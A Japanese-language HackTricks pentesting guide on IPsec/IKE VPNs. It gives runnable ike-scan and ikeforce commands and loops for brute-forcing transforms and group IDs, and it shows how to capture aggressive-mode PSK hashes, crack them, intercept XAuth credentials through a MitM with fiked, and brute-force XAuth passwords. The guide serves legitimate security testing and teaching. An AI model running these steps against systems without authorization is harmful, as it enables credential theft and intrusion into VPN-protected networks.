hacktricks/network-services-pentesting/ipsec-ike-vpn-pentesting.md

277 lines
22 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 500/udp - IPsec/IKE VPNのペンテスト
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。
- **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**あなたのハッキングテクニックを共有**してください。
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## 基本情報
**IPsec**は、ネットワーク間LAN間やリモートユーザーからネットワークゲートウェイへの通信を保護するための主要技術として広く認識されており、企業向けVPNソリューションのバックボーンとして機能しています。
2つのポイント間で**セキュリティアソシエーションSA**を確立することは、**IKE**によって管理されます。IKEは、認証と鍵交換のために設計されたプロトコルであるISAKMPの下で動作します。このプロセスは、次のフェーズで展開されます
- **フェーズ1:** 2つのエンドポイント間に安全なチャネルが作成されます。これは、Pre-Shared KeyPSKまたは証明書を使用して、3つのメッセージのペアを含むメインモードまたは**アグレッシブモード**を使用して達成されます。
- **フェーズ1.5:** 必須ではありませんが、このフェーズは拡張認証フェーズとして知られ、接続しようとするユーザーの身元を確認するためにユーザー名とパスワードを要求します。
- **フェーズ2:** このフェーズは、**ESP**と**AH**を使用してデータを保護するためのパラメータを交渉することに専念しています。フェーズ1とは異なるアルゴリズムを使用して**完全転送秘匿PFS**を確保し、セキュリティを強化します。
**デフォルトポート:** 500/udp
## **nmapを使用して**サービスを発見
```
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **有効な変換を見つける**
IPSecの構成は、1つまたは複数の変換を受け入れるように準備できます。変換は値の組み合わせです。**各変換**には、DESまたは3DESのような**暗号化アルゴリズム**、SHAまたはMD5のような**整合性アルゴリズム**、事前共有キーを**認証タイプ**として含み、Diffie-Hellman 1または2を鍵**配布アルゴリズム**として、28800秒を**寿命**として含みます。
したがって、最初に行う必要があることは、**有効な変換を見つける**ことです。これにより、サーバーがあなたと通信できるようになります。これを行うために、**ike-scan**ツールを使用できます。デフォルトでは、Ike-scanはメインモードで動作し、ISAKMPヘッダーと1つの提案を含むパケットをゲートウェイに送信します。**その中に8つの変換が含まれています**。
応答に応じて、エンドポイントに関する情報を取得できます。
```
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
前の応答で見ると、**AUTH**というフィールドがあり、値が**PSK**になっています。これは、VPNが事前共有キーを使用して構成されていることを意味しますこれはペンテスターにとって本当に良いことです
**最後の行の値も非常に重要です:**
* _0 returned handshake; 0 returned notify:_ これは、対象が**IPsecゲートウェイでない**ことを意味します。
* _**1 returned handshake; 0 returned notify:**_ これは、**対象がIPsecに構成され、IKEネゴシエーションを実行する意向があり、提案された変換のいずれかが受け入れ可能である**ことを意味します(有効な変換は出力に表示されます)。
* _0 returned handshake; 1 returned notify:_ VPNゲートウェイは、**受け入れ可能な変換がない場合に通知メッセージで応答**します(ただし、一部のゲートウェイは応答しない場合もあり、その場合はさらなる分析と改訂提案が必要です)。
したがって、この場合、すでに有効な変換がありますが、3番目の場合は、**有効な変換を見つけるために少しブルートフォースする必要があります:**
まず、すべての可能な変換を作成する必要があります:
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
その後、ike-scanを使用してそれぞれをブルートフォース攻撃しますこれには数分かかる場合があります:
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
もしブルートフォースがうまくいかない場合、サーバーが有効な変換に対してもハンドシェイクなしで応答している可能性があります。その場合、同じブルートフォースを用いてアグレッシブモードを試してみることができます。
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
Hopefully **有効な変換がエコーバックされます**。\
同じ攻撃を**iker.py**を使用して試すことができます。\
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py)を使用して同じ攻撃を試すこともできます。\
[**ikeforce**](https://github.com/SpiderLabs/ikeforce)を使用して変換を総当たりで試すこともできます。
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```
![](<../.gitbook/assets/image (109).png>)
**DH Group: 14 = 2048-bit MODP** および **15 = 3072-bit** である。**2 = HMAC-SHA = SHA1 (この場合)**。`--trans` フォーマットは $Enc,$Hash,$Auth,$DH である。
シスコは、DH グループ 1 および 2 の使用を避けるよう指示している。これらは強力ではないため、**リソースが豊富な国々**は、これらの弱いグループを使用するデータの暗号化を簡単に解読できると専門家は考えている。これは、それらを素早く解読するために準備する特別な方法を使用することによって行われる。この方法を設定するのに多額の費用がかかるにもかかわらず、これらの強力な国々は、暗号化されたデータをリアルタイムで読むことができるようになります1,024ビット以下のような強力でないグループを使用している場合
### サーバーのフィンガープリント
次に、デバイスの **ベンダーを特定** するために ike-scan を使用できます。このツールは初期提案を送信し、リプレイを停止します。その後、サーバーから受信したメッセージと一致する応答パターンとの **時間差** を分析することで、ペンテスターは VPN ゲートウェイのベンダーを正確にフィンガープリントできます。さらに、一部の VPN サーバーは IKE でオプションの **Vendor ID (VID) ペイロード** を使用します。
必要に応じて **有効な変換を指定** する(--trans を使用)
IKE がベンダーを特定した場合、それを表示します:
```
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
```
これはnmapスクリプト_**ike-version**_を使用しても達成できます。
## 正しいIDグループ名の検索
ハッシュをキャプチャするためには、アグレッシブモードをサポートし、正しいIDグループ名を持つ有効な変換が必要です。おそらく有効なグループ名はわからないため、総当たり攻撃する必要があります。\
そのために、2つの方法をお勧めします
### ike-scanを使用したIDの総当たり攻撃
まず、ハッシュを収集しようとして偽のIDでリクエストを行うことを試してください"-P":
```bash
ike-scan -P -M -A -n fakeID <IP>
```
**ハッシュが返されない**場合、おそらくこのブルートフォースの方法が機能するでしょう。**ハッシュが返される場合、偽のIDに対して偽のハッシュが返されるため、この方法はIDをブルートフォースするのに信頼性がありません**。たとえば、偽のハッシュが返される可能性があります(これは最新バージョンで発生します):
![](<../.gitbook/assets/image (110).png>)
しかし、前述のようにハッシュが返されない場合は、ike-scanを使用して一般的なグループ名をブルートフォースしてみる必要があります。
このスクリプトは**可能なIDをブルートフォースし**、有効なハンドシェイクが返されるIDこれは有効なグループ名になりますを返します。
特定の変換を発見した場合は、ike-scanコマンドに追加してください。複数の変換を発見した場合は、すべてを試す新しいループを追加してください正常に機能するものが見つかるまですべてを試す必要があります
[ikeforceの辞書](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic)または[seclistsのもの](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt)を使用して、一般的なグループ名をブルートフォースすることができます。
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
### IDのBruteforce with Iker
[iker.py](https://github.com/isaudits/scripts/blob/master/iker.py)は**ike-scan**を使用して、可能なグループ名をBruteforceします。**ike-scan**の出力に基づいて、**有効なIDを見つけるための独自の方法**を使用します。
### IDのBruteforce with ikeforce
[ikeforce.py](https://github.com/SpiderLabs/ikeforce)は、**IDをBruteforceするために使用できるツール**です。このツールは、**有効なIDと無効なIDを区別するために使用できるさまざまな脆弱性を悪用しようとします**偽陽性と偽陰性が発生する可能性があるため、可能な限りike-scanの方法を使用することをお勧めします
デフォルトでは、**ikeforce**は最初にいくつかのランダムなIDを送信して、サーバーの動作をチェックし、使用するタクティクを決定します。
- **最初の方法**は、Ciscoシステムの**Dead Peer Detection DPD**情報を**検索**して、グループ名をBruteforceすることですこの情報は、グループ名が正しい場合にのみサーバーによって再生されます
- 利用可能な**2番目の方法**は、各試行に送信される応答の数を**チェックする**ことです。正しいIDが使用されると、より多くのパケットが送信される場合があります。
- **3番目の方法**は、不正なIDに対する応答で**"INVALID-ID-INFORMATION"を検索**することです。
- 最後に、サーバーがチェックに対して何も応答しない場合、**ikeforce**はサーバーをBruteforceし、正しいIDが送信されるとサーバーがパケットで応答するかどうかをチェックします。\
明らかに、IDをBruteforceする目的は、有効なIDを持っている場合に**PSK**を取得することです。その後、**ID**と**PSK**を使用して、XAUTHをBruteforceする必要があります有効になっている場合
特定の変換を発見した場合は、ikeforceコマンドに追加してください。複数の変換を発見した場合は、すべてを試す新しいループを自由に追加してくださいうまく機能するまですべてを試す必要があります
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```
```bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
```
### スニッフィングID
(書籍**ネットワークセキュリティアセスメント:ネットワークを知る**よりVPNクライアントとサーバー間の接続をスニッフィングすることで、クライアントIDを含む最初のアグレッシブモードパケットを平文で送信するため、有効なユーザー名を取得することも可能です。
![](<../.gitbook/assets/image (111).png>)
## ハッシュのキャプチャとクラック
最後に、**有効な変換**と**グループ名**が見つかり、**アグレッシブモードが許可されている**場合、簡単にクラック可能なハッシュを取得できます。
```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
ハッシュは_hash.txt_内に保存されます。
**psk-crack**、**john**[**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)を使用)および**hashcat**を使用してハッシュを**クラック**することができます:
```bash
psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**
**アグレッシブモードIKE** は、**事前共有キーPSK**と組み合わせて、**グループ認証**の目的で一般的に使用されます。この方法は、**拡張認証XAuthExtended Authentication** によって補完され、追加の **ユーザー認証** のレイヤーを導入します。このような認証は通常、**Microsoft Active Directory**、**RADIUS**、または類似のシステムを利用します。
**IKEv2** に移行すると、ユーザーの認証のために **XAuth** の代わりに **EAPExtensible Authentication Protocol** が使用される傾向が見られます。この変更は、セキュアな通信プロトコル内での認証プラクティスの進化を示しています。
### ローカルネットワークのMitMによる資格情報のキャプチャ
したがって、_fiked_ を使用してログインデータをキャプチャし、デフォルトのユーザー名があるかどうかを確認できますIKEトラフィックをスニッフィングするために `fiked` にリダイレクトする必要があります。これはARPスプーフィングを使用して行うことができます、[詳細はこちら](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)。Fiked はVPNエンドポイントとして機能し、XAuthの資格情報をキャプチャします。
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
### MitM攻撃を行い、すべてのトラフィックをポート500にブロックし、IPSecトンネルを確立できない場合、トラフィックはクリアテキストで送信される可能性があります。
### ikeforceを使用してXAUTHのユーザー名とパスワードをブルートフォースする
**XAUTH**(有効なグループ名**id**と**psk**がわかっている場合)をブルートフォースするには、ユーザー名またはユーザー名のリストとパスワードのリストを使用できます:
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
この方法では、ikeforce はユーザー名:パスワードの各組み合わせを使用して接続を試みます。
1つ以上の有効なトランスフォームが見つかった場合は、前の手順と同様にそれらを使用してください。
## IPSEC VPN での認証
Kali では、IPsec トンネルを確立するために **VPNC** が利用されます。**プロファイル** は `/etc/vpnc/` ディレクトリに配置する必要があります。これらのプロファイルは _**vpnc**_ コマンドを使用して開始できます。
以下のコマンドと設定は、VPNC を使用して VPN 接続を設定するプロセスを示しています。
```bash
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
```
## 設定:
- `[VPN_GATEWAY_IP]` を VPN ゲートウェイの実際の IP アドレスに置き換えます。
- `[VPN_CONNECTION_ID]` を VPN 接続の識別子に置き換えます。
- `[VPN_GROUP_SECRET]` を VPN のグループシークレットに置き換えます。
- `[VPN_USERNAME]``[VPN_PASSWORD]` を VPN 認証資格情報に置き換えます。
- `vpnc` が開始されるときに割り当てられるプロセス ID を示す `[PID]`
VPN を構成する際には、プレースホルダーを実際で安全な値で置き換えることを確認してください。
## 参考資料
* [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
* [Scanning a VPN Implementation](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
* Network Security Assessment 3rd Edition
## Shodan
* `port:500 IKE`
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks を PDF でダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出して、あなたのハッキングトリックを共有してください。
</details>